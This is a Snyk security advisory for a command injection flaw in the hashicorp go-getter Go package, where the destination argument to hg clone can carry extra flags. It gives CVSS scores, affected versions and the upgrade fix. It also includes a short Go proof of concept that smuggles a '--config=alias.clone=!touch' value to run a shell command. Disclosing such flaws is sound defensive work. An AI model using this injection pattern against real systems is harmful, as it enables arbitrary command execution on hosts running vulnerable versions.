Command Injection Affecting github.com/hashicorp/go-getter package, versions <1.6.1 >=2.0.0 <2.1.0


Severity

Recommended
0.0
high
0
10

CVSS assessment made by Snyk's Security Team

    Threat Intelligence

    Exploit Maturity
    Proof of concept
    EPSS
    0.23% (62nd percentile)

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  • Snyk ID SNYK-GOLANG-GITHUBCOMHASHICORPGOGETTER-2421223
  • published 25 May 2022
  • disclosed 11 Mar 2022
  • credit Alessio Della Libera of Snyk Research Team

How to fix?

Upgrade github.com/hashicorp/go-getter to version 1.6.1, 2.1.0 or higher.

Overview

github.com/hashicorp/go-getter is a Package for downloading things from a string URL using a variety of protocols.

Affected versions of this package are vulnerable to Command Injection via hg argument injection. When calling the new(gogetter.HgGetter).get() function, the dst parameter is passed to the hg clone command in a way that additional flags can be set. The additional flags can be used to perform a command injection.

PoC

package main

import (
    gogetter "github.com/hashicorp/go-getter"
    "net/url"
)

func main(){
    g := new(gogetter.HgGetter)
    
    rawURL := "someurl"

    u, _ := url.Parse(rawURL)

    dst := "--config=alias.clone=!touch ./HELLO"
    g.Get(dst, u)

}

CVSS Scores

version 3.1
Expand this section

Snyk

Recommended
8.1 high
  • Attack Vector (AV)
    Network
  • Attack Complexity (AC)
    High
  • Privileges Required (PR)
    None
  • User Interaction (UI)
    None
  • Scope (S)
    Unchanged
  • Confidentiality (C)
    High
  • Integrity (I)
    High
  • Availability (A)
    High
Expand this section

NVD

9.8 critical